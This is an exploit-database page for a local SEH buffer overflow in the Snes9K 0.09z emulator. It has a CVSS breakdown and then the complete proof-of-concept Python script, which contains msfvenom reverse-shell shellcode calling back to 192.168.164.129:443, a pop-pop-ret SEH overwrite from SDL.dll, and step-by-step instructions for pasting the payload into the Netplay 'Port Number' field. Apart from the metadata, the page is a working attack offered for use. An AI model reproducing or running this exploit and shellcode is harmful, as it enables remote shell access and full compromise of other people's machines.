Exploitalert - Database of Exploits

Snes9K 0.09z Local Buffer Overflow

CVE	Category	Price	Severity
	CWE-119	$5000	High

Author	Risk	Exploitation Type	Date
Unknown	High	Local	2020-07-25

CPE
cpe:cpe:/a:snes:snes9k:0.09z

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.35498	0.73589

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2020070123

Snes9K 0.09z Local Buffer Overflow

# Exploit Title: Snes9K 0.09z - 'Port Number' Buffer Overflow (SEH) # Date: 2020-07-20 # Exploit Author: MasterVlad # Vendor Homepage: https://sourceforge.net/projects/snes9k/ # Software Link: https://www.exploit-db.com/apps/ef5249b64ce34575c12970b334a08c17-snes9k009z.zip # Version: 0.09z # Vulnerability Type: Local Buffer Overflow # Tested on: Windows 10 x64 # Proof of Concept: # 1. Run the python script # 2. Open exploit.txt and copy the content to clipboard # 3. Open Snes9K 0.09z # 4. Click on Netplay -> Connect to Server # 5. Paste the clipboard into the "Port Number" field # 6. Click on Connect and then on OK #!/usr/bin/python # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.164.129 LPORT=443 -b "\x00\x0a\x0d" -f py buf = "" buf += "\xd9\xc3\xbf\x7c\xdc\xed\x95\xd9\x74\x24\xf4\x58\x29" buf += "\xc9\xb1\x52\x31\x78\x17\x83\xc0\x04\x03\x04\xcf\x0f" buf += "\x60\x08\x07\x4d\x8b\xf0\xd8\x32\x05\x15\xe9\x72\x71" buf += "\x5e\x5a\x43\xf1\x32\x57\x28\x57\xa6\xec\x5c\x70\xc9" buf += "\x45\xea\xa6\xe4\x56\x47\x9a\x67\xd5\x9a\xcf\x47\xe4" buf += "\x54\x02\x86\x21\x88\xef\xda\xfa\xc6\x42\xca\x8f\x93" buf += "\x5e\x61\xc3\x32\xe7\x96\x94\x35\xc6\x09\xae\x6f\xc8" buf += "\xa8\x63\x04\x41\xb2\x60\x21\x1b\x49\x52\xdd\x9a\x9b" buf += "\xaa\x1e\x30\xe2\x02\xed\x48\x23\xa4\x0e\x3f\x5d\xd6" buf += "\xb3\x38\x9a\xa4\x6f\xcc\x38\x0e\xfb\x76\xe4\xae\x28" buf += "\xe0\x6f\xbc\x85\x66\x37\xa1\x18\xaa\x4c\xdd\x91\x4d" buf += "\x82\x57\xe1\x69\x06\x33\xb1\x10\x1f\x99\x14\x2c\x7f" buf += "\x42\xc8\x88\xf4\x6f\x1d\xa1\x57\xf8\xd2\x88\x67\xf8" buf += "\x7c\x9a\x14\xca\x23\x30\xb2\x66\xab\x9e\x45\x88\x86" buf += "\x67\xd9\x77\x29\x98\xf0\xb3\x7d\xc8\x6a\x15\xfe\x83" buf += "\x6a\x9a\x2b\x03\x3a\x34\x84\xe4\xea\xf4\x74\x8d\xe0" buf += "\xfa\xab\xad\x0b\xd1\xc3\x44\xf6\xb2\x2b\x30\x5c\xc3" buf += "\xc4\x43\x9c\xc5\xaf\xcd\x7a\xaf\xdf\x9b\xd5\x58\x79" buf += "\x86\xad\xf9\x86\x1c\xc8\x3a\x0c\x93\x2d\xf4\xe5\xde" buf += "\x3d\x61\x06\x95\x1f\x24\x19\x03\x37\xaa\x88\xc8\xc7" buf += "\xa5\xb0\x46\x90\xe2\x07\x9f\x74\x1f\x31\x09\x6a\xe2" buf += "\xa7\x72\x2e\x39\x14\x7c\xaf\xcc\x20\x5a\xbf\x08\xa8" buf += "\xe6\xeb\xc4\xff\xb0\x45\xa3\xa9\x72\x3f\x7d\x05\xdd" buf += "\xd7\xf8\x65\xde\xa1\x04\xa0\xa8\x4d\xb4\x1d\xed\x72" buf += "\x79\xca\xf9\x0b\x67\x6a\x05\xc6\x23\x9a\x4c\x4a\x05" buf += "\x33\x09\x1f\x17\x5e\xaa\xca\x54\x67\x29\xfe\x24\x9c" buf += "\x31\x8b\x21\xd8\xf5\x60\x58\x71\x90\x86\xcf\x72\xb1" exploit = "A"*420 exploit += "\x74\x06\x75\x04" # 0x10015140 pop pop ret; SDL.dll exploit += "\x40\x51\x01\x10" exploit += "\x41"*(2000-428-len(buf)) exploit += buf f = open("exploit.txt", "w") f.write(exploit) f.close()

Impressum